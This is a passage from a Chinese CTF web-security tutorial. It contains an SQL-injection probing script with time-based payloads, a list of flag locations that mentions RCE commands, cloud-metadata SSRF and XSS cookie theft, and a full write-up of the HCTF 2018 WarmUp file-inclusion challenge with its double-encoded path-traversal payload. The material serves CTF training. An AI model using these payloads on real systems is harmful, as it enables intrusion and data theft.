    "and_true":      "1 and 1=1",
    "and_false":     "1 and 1=2",
    "time":          "1' and sleep(3)--+",
}
for name, payload in tests.items():
    r = requests.get("http://target/index.php", params={"id": payload})
    print(f"{name}: status={r.status_code} len={len(r.text)}")

11.5 pwntools用于Web

pwntools虽主打Pwn,但其requests封装、并发与交互能力对Web题也很有用,尤其处理需要多步交互、保持会话的场景。

python 复制代码
from pwn import *
context.log_level = 'info'
io = remote('target', 80)
io.sendline(b'GET /flag HTTP/1.1\r\nHost: target\r\n\r\n')
print(io.recvall().decode())

十二、解题方法论与思维导图

12.1 解题通用流程

CTF Web题通用解题流程可概括为五步,文字描述如下:

第一步,信息收集:查看源码、响应头、robots.txt、扫描目录与备份文件、识别CMS指纹,目标是掌握完整攻击面。此步常占解题时间的30%以上,新手易急于求成跳过。

第二步,功能枚举:把题目所有交互功能(登录、注册、上传、查询、搜索、导出、API)逐一记录,标注每个功能的输入点与预期输出。

第三步,漏洞定位:对每个输入点套用各类注入测试(SQL/XSS/SSRF/文件/反序列化/逻辑),用最简Payload试探,记录有异常响应的点。

第四步,利用构造:针对定位到的漏洞点,构造完整利用链,绕过存在的过滤,目标指向Flag位置。

第五步,Flag获取:执行利用链拿到Flag,必要时维持权限或横向移动到第二处Flag。

12.2 常见Flag位置清单

位置 获取方式
数据库flag表 SQL注入dump
根目录/flag.txt RCE执行cat /flag
源码文件flag.php 文件包含/源码泄露读取
环境变量 RCE执行env/printenv
内网其他服务 SSRF打内网Redis/MySQL
云对象存储 云元数据SSRF拿凭据后访问
管理员后台 XSS窃Cookie/越权进入
隐藏API 目录扫描/GraphQL内省
配置文件 LFI读config/数据库配置
二维码/图片隐写 配合Misc方向

12.3 快速判断题型决策树

拿到一道Web题,按以下顺序快速判断题型:

  1. 页面有输入框且有回显?→ 优先测SQL注入(UNION)与XSS。
  2. 有上传功能?→ 测文件上传绕过与文件包含。
  3. 有URL输入且后端会请求?→ 测SSRF。
  4. 源码中看到unserialize/phar/Fastjson?→ 测反序列化。
  5. 模板渲染(Flask/Twig/Smarty)?→ 测SSTI。
  6. 有命令执行点(ping/dig)?→ 测命令注入。
  7. 业务流(支付/找回/权限)?→ 测逻辑漏洞。
  8. 前端加密/特殊协议?→ JS逆向/WS/GraphQL。

12.4 常见坑与陷阱总结

陷阱 说明
只测一种闭合方式 SQL注入卡死,多试'")组合
忽视源码注释 Flag/账号常在HTML注释中
盲目跑sqlmap 过滤导致误判,先手工确认
忽略响应头 X-Hint/Server常给关键线索
跳过信息收集直奔漏洞 漏掉备份源码/隐藏接口
上传成功但马不解析 未找对解析路径或未配htaccess
时间盲注阈值过低 网络抖动误判,阈值要大
以为没回显就没漏洞 改用带外/盲注
WAF绕过只用一种 组合多维度绕过更有效

12.5 时间管理策略

CTF比赛时长有限,时间分配建议:单题超过30分钟无明显进展,先记录当前思路转做其他题;Flag线索明显的题优先攻;难题最后集中时间,必要时请教队友组合思路。练习阶段则相反,难题值得花数小时深挖,体会比Flag更重要。

十三、实战案例:完整CTF Web解题

13.1 题目背景

选取BUUCTF经典题**HCTF 2018WarmUp**作为演示。题目入口是一个简单页面,从信息收集到拿到Flag,完整呈现解题链路。所有内容仅作教学演示。

13.2 第一步:信息收集

访问题目首页,页面只有一行提示文字。第一步查看源码。

html 复制代码
<!-- source.php -->
<!-- 提示存在源码 -->

HTML注释暴露source.php,访问/source.php得到PHP源码。这是典型的"源码泄露"考点,信息收集阶段就发现了关键入口。

13.3 第二步:源码审计

source.php核心逻辑(简化):

php 复制代码
<?php
    highlight_file(__FILE__);
    class emmm {
        public static function checkFile(&$page) {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || ! is_string($page)) return false;
            if (in_array($page, $whitelist)) return true;
            $page = mb_strtolower(mb_substr($page, 0, mb_strrpos($page . '?', '?')));
            if (in_array($page, $whitelist)) return true;
            $page = urldecode($page);
            $page = mb_strtolower(mb_substr($page, 0, mb_strrpos($page . '?', '?')));
            if (in_array($page, $whitelist)) return true;
            return false;
        }
    }
    if (! empty($_REQUEST['file']) && is_string($_REQUEST['file'])) {
        $page = $_REQUEST['file'];
        if (emmm::checkFile($page)) {
            include $page;
            exit;
        } else {
            echo "bad request!";
        }
    }
?>

审计要点:

  • 最终危险操作是include $page,即文件包含。
  • 白名单只允许source.phphint.php,直接包含flag会被拦。
  • 关键在mb_strrpos($page.'?','?')这一行:它会在字符串末尾补一个?再找最后一个?位置,然后截取到该位置。如果$page不含?,截取后仍是原串,过不了白名单。
  • 但第二次判断前有urldecode($page),对?做URL编码%3F后,第一次截取(原始串)过不了白名单,但urldecode后变回?,第二次截取取到?之前部分,恰好是白名单内的hint.php
  • 因此Payload思路:file=hint.php%253F/../../ffffllllaaaaggg(多层URL编码?%253F,配合include对路径的处理)。

13.4 第三步:构造Payload

访问hint.php获得进一步提示,Flag文件名为ffffllllaaaaggg,位于多层上级目录。最终Payload:

复制代码
?file=hint.php%253f../../../../../ffffllllaaaaggg
# 或用 source.php 同理
?file=source.php%253f../../../../../ffffllllaaaaggg

原理拆解:

  • source.php%253f经PHP urldecode一次变为source.php%3f(一次解码)。
  • 函数内再urldecode一次变为source.php?
  • mb_strrpos找到?,截取后是source.php,过白名单。
  • include接收的最终值是source.php?/../../../../../ffffllllaaaaggg,PHP的include对路径中的?之后部分视为查询字符串不处理文件名,但..目录穿越生效,最终包含/ffffllllaaaaggg

13.5 第四步:获取Flag

提交Payload,页面返回Flag。整道题从信息收集(看源码注释找source.php)→源码审计(白名单+mb_substr截断漏洞)→Payload构造(双重URL编码?+目录穿越)→包含读取,完整闭环。

【提示】 本题的精髓在于理解mb_substr+mb_strrpos的截断逻辑与urldecode的双重解码。CTF中遇到看似严格的白名单校验,重点看是否有二次解码、截断、类型转换等可被构造绕过的环节。

13.6 解题复盘

本题没有用任何WAF绕过或高级漏洞,纯粹考察代码审计与对PHP函数行为理解的深度。复盘要点:

  • 信息收集阶段看源码注释是本题的入口,跳过这步直接懵。
  • 白名单不是铁板一块,结合urldecode二次解码与截断可实现穿越。
  • include对路径的处理与mb_*函数的细节是构造Payload的关键。

十四、总结与参考资源

14.1 CTF Web学习路线图

建议按"知识块→实战→复盘"的循环推进,路线如下:

阶段 学习重点 实践
入门 HTTP基础、SQL基础、PHP基础、常见漏洞概念 CTFHub技能树全部Web题
进阶 SQL注入全类型、文件上传/包含、XSS/SSRF、自动化工具 BUUCTF Web区中等题
高级 反序列化链构造、SSTI、Java Web、云安全、JS逆向 历年DEFCON/强网杯复刻题
综合 组合漏洞、真实CVE复现、攻防模式 线下赛真题、HackTheBox

14.2 常用工具速查表

用途 工具
抓包改包 Burp Suite
目录扫描 dirsearch、gobuster、ffuf
SQL注入 sqlmap
指纹识别 whatweb、Wappalyzer
git泄露 GitHack、dirsearch
漏洞利用 Metasploit、searchsploit
编码解码 CyberChef、Bugku工具箱
反序列化 phpggc、ysoserial、fastjson链
SSTI tplmap
云安全 pacu、awscli、aliyun cli

14.3 学习资源

在线靶场:BUUCTF、CTFHub、NSSCTF、攻防世界、HackTheBox、TryHackMe、Vulhub(漏洞环境复现)。

WriteUp资源 :CTFtime(全球赛事归档)、BUUCTF题解区、各安全团队博客(先知、安全客、Seebug)、GitHub上ctf-wiki项目。

书籍与文档

  • 《CTF特训营》------技术全面,适合系统学习
  • 《白帽子讲Web安全》------Web安全经典
  • 《Web安全深度剖析》------漏洞原理深入
  • ctf-wiki.github.io------社区维护的CTF知识库

社区与赛事:国内强网杯、网鼎杯、XCTF联赛;国际DEFCON、PlaidCTF、Google CTF。关注赛事官网与CTFtime日历可获取赛程。

【提示】 学习CTF最高效的方式是"做题→写WriteUp→读他人WriteUp→复现"。每道题至少读3份不同思路的解法,长期积累会比单纯刷题快得多。所有技术仅限授权环境使用,参赛即意味着同意赛事规则与法律边界。

CTF Web方向的精髓不在于记住多少Payload,而在于建立"从输入点到Flag"的完整思维链。信息收集决定攻击面,漏洞定位决定方向,利用链构造决定成败,自动化脚本决定效率。把这套方法论内化为本能反应,面对任何新题都能快速定位突破口。本文梳理的题型、Payload与脚本只是起点,真正的提升来自持续的实战与复盘。愿每位读者都能在合规合法的前提下,享受解题的乐趣,成长为合格的Web安全从业者。

相关推荐
前端玩坑坑1 小时前
CSS Container Queries 容器查询入门教程
前端
带多刺的玫瑰1 小时前
Leecode#4刷题之寻找两个正序数组的中位数
java·前端·算法
qq_267612891 小时前
项目集、里程碑与迭代联动:Gitee项目管理如何支撑多团队规模化交付与进度风险治理
前端·gitee
赵广陆1 小时前
企业实战:Web服务端搭建
前端·langchain·langgraph
常宇佳1 小时前
vue3 实战系列之无法识别vue组件
前端·javascript·vue.js
优化Henry2 小时前
学习笔记之爱立信站点指向证书执行
运维·服务器·网络·笔记·学习·信息与通信
掘金者阿豪2 小时前
Codex 怎么突然变慢了?一个需求跑几十分钟,我才发现它的工作方式已经变了
前端·后端
又见情义2 小时前
Android 13 Settings 设置界面选项裁剪(RK3568平台)
android
用户931456355662 小时前
从 3 秒到 300 毫秒:一次真实的前端首屏性能优化全记录
前端